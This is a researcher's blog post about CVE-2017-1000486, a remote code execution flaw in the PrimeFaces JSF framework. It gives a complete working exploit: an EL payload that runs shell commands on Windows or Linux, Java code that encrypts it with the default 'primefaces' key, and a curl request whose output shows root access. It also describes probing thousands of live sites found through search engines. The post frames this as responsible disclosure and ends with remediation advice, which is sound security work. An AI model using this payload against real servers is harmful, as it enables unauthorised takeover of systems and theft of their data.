During my researches for security issues in popular web frameworks, I stumbled upon a flaw in the Primefaces JSF Framework, discovered by Minded Security back in 2016. I also found this nice summary of the vulnerability some weeks later. Basically, it allows to perform remote code execution (RCE) via a simple HTTP call.

This vulnerability shows what happens when an open source library gets compromised but admins and developers never get notified or fail to have any vulnerability management system in place. I found many vulnerable websites in the wild and notified some of them. Among them were some private websites and small businesses, but also huge companies and even governmental institutions around the globe were affected, potentially hosting valuable data.

The Bug

There are essentially two issues here:

  • Primefaces versions prior to 5.2.21, 5.3.8 or 6.0 are vulnerable to a padding oracle attack, due to the use of weak crypto. Using the tool padbuster, attackers can create their own encrypted payload to be executed on the server.
  • Same versions do have a default salt and password (“primefaces”) set in code. As most programmers did not change these, using padbuster is not necessary at all.

The Exploit

Using some more info on a EL payload from the Minded Security guys, I created the following EL expression allowing command execution on linux and windows systems:

${facesContext.getExternalContext().getResponse().setContentType("text/plain;charset=\"UTF-8\"")}
${session.setAttribute("scriptfactory","".getClass().forName("javax.script.ScriptEngineManager").newInstance())}
${session.setAttribute("scriptengine",session.getAttribute("scriptfactory").getEngineByName("JavaScript"))}
${session.getAttribute("scriptengine").getContext().setWriter(facesContext.getExternalContext().getResponse().getWriter())}
${session.getAttribute("scriptengine").eval(
"var os = java.lang.System.getProperty(\"os.name\");
var proc = null;
os.toLowerCase().contains(\"win\")?
proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/C\",\"%s\"]).start()
: proc = new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"/bin/sh\",\"-c\",\"%s\"]).start();
var is = proc.getInputStream();
var sc = new java.util.Scanner(is,\"UTF-8\"); var out = \"\";
while(sc.hasNext()) {out += sc.nextLine()+String.fromCharCode(10);}print(out);")}
${facesContext.getExternalContext().getResponse().getWriter().flush()}
${facesContext.getExternalContext().getResponse().getWriter().close()}';

(where %s is replaced by the system command).

This expression just needs to be encrypted using the good old DES encryption algorithm. I used the original code of primefaces (org.primefaces.util.StringEncrypter) and wrote a simple Junit test:

private void doEncrypt(String payload) throws UnsupportedEncodingException {
StringEncrypter encrypter = new StringEncrypter("primefaces");
String result = encrypter.encrypt(payload);
String result_urlenc = URLEncoder.encode(result, "UTF-8");
System.err.println(result_urlenc);
}

Time for a proof-of-concept:

root@kali:~# enc="TIXG%2F%2FZlMWz%2BuNGfZ1psoWPYqrzYTYmu3dN%2B6cc4kAoZv6Ge0cWSmYpAj5%2FwrDCRcHWvgXbDtIn06VIvJwKQqk9spjdr1Wo6zTWjQ%2BqAxbPaR3OIIo3Ae%2BbYe54y0z7d2r0umNJPzSSiUdHLt%2BuchRlDeO2rQCx2p4Yttxa29zo3Nayidga8LiyD8R5e6IJYbJ99MpiS8K16iX47gin6aYYYHfulJfEIkP52taKql3JNbPVoguR%2FDhhiVpEtauFfKEMOoUq0G7evnErvZkQkyek43YhJ%2FE4q0sU2CygWclo%2FvcfG2QHAylbL4tkXaB3BP50YvRFedbmQfEtcAiGn84SdP5BnxC%2BcVJvVJsrMpbL8Mcdi%2FU%2BOju9g57bW55CBAGZnqiOVWFL%2BXjhaBD06Ef%2F7Et08lFQKGmlJDNQBSFBTa5cSd6WY6SZh5I8AO3Ncr9XpiOiQJROZgwXoxYwHFp10gQXS8TVw5yYcEWKoMZWYmBY5%2FcIPv6skQn6%2FGlnv1qGRUtGwCis5jQJDdJh%2B%2FO7EJpJ64tez75NOyM7jDH8%2BM8%2Bxmi8g41xuW%2Fw6yymquEwWQaIT3%2F80ifOhM8bUQ9uep4WZYxpwUi%2FHM5ig7%2FXpCR8TZiwRd8sbt6QG1pwtEwFXyNfe3u5BM3qGVnN4Mpq6zFBPKUfEDe9EEPV76ifnQDDyKtmuvmW2nT%2BP1XMgNg9OPxwfkFMEh7EwhyPxbEaseeszUf6HZfTl8%2BIGBUXig5i6iCaW2Y0VWWH1PM0dCAPj1%2F7zWOYG0KSkw2b57i9Cxovyk8AQH4qZ4D513khYRXi4Qw4pfuSXrDe0dpnYcsb2dvsUaGGgtyn%2BbWrSy2rJj752gBq5vAD5wUFQ%2B6LvWQoZexW2%2FI8MGF8Og3i3qCXcCQ%2FS9ihatd1IbDE0YwbTCbHtQCXRmPOTYr7%2F4tnyxmVY6y4OZF%2FWiw9rdjGik9QqZQ74CLRbpIho6uLbXivr%2B9WIF3q%2BG86BnM8vNW2OHcLIfORxTboN%2BDT4wgtBd0Sh1C64%2B3z6%2BnNQc4waf88OQ1YgvWlfKuE6jvJjIX48MH9IU4C3p%2FpjuP%2FmbTiQrHgm6ahCfwESXDwKsc2Kd7H8us8l9F6d1NxkAQ%2BtEASomxbMMt2fv7xGS0%2B4VHf8fF4GsOsMC1Q1CD2qQn4Md8fU1%2BDEC4KKdA5VCimW327rbKxsrGVewWnTkA8ejHwlwciQmXFQQ53LMk%2Bj1iNwIChQnVPAe4sFKS9x02Y%2BZZDQFTr2XUXSRwAAAAAAAAAA";
root@kali:~# curl -X POST "https://example.com/javax.faces.resource/dynamiccontent.properties.jsf" -ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&cmd=id"



uid=0(root) gid=0(root) groups=0(root)

Hackers have been using this already in bug bounty programs since 2016.

Next, I wrote a custom metasploit exploit module, which you can find on github.

Fixing the problem

The authors of Primefaces have fixed the issue in versions 5.2.21, 5.3.8 and 6.0, but failed to claim a CVE for it. So I registered one at iwantacve.org and got it claimed a few days later:

With this CVE-2017-1000486, developers and DevOps have a chance to automatically filter out vulnerable versions of primefaces, e.g. the excellent OWASP Dependency Check Plugin.

Responsible Disclosure

As a white hat infosec person, the main challenges when trying to help people fix their problems are:

  • to get the message to the right contact that is technically skilled and responsible to fix the issue or knows how to spread the word internally
  • once you found that contact, to transmit the vulnerability details in a confidential way (PGP anyone?)
  • to contact them in a way that doesn’t look like spam but raises their attention
  • have a proof-of-concept that doesn’t cause any harm or damage to the company/institution or person

To find vulnerable sites I tried google dorks and shodan, but had the best results with publicwww.com and nerdydata.com. Builtwith.com showed also some good results, but I didn’t want to spend a fortune on their pro account.

I had found several thousand sites using the Primefaces framework and went on to check some of them with a simple „id“ command.

Lessons Learned

Web Developers

  • Update your software to use the latest Primefaces version
  • Integrate the dependency check plugin in your pom.xml or whatever your are using. It’s free and helps getting rid of vulnerable third party software and just takes minutes
  • Don’t rely on the security of third party software. Automatic code analysis could have helped you here, too. There are commercial solutions but I checked with FindbugsSpotbugs Plugin Find Security Bugs and it found the EL expression language issues in the Primefaces Code.

Framework Developers

  • Take security serious!
  • Handle your security bugs with priority, ship fixes fast
  • Reserve CVEs for them to help users getting fixes as fast as possible
  • Consider fixing security issues in older versions that might still be much in use

Website Owners

  • Offer a secure communication channel for bug reports and security issues. My first choice would be a PGP key and an email address.
  • Consider adding a security.txt to your website at https://www.example.com/.well-known/security.txt
  • Consider starting a bug bounty program to motivate hackers searching for issues on your websites. You can use HackerOne or BugCrowd for that.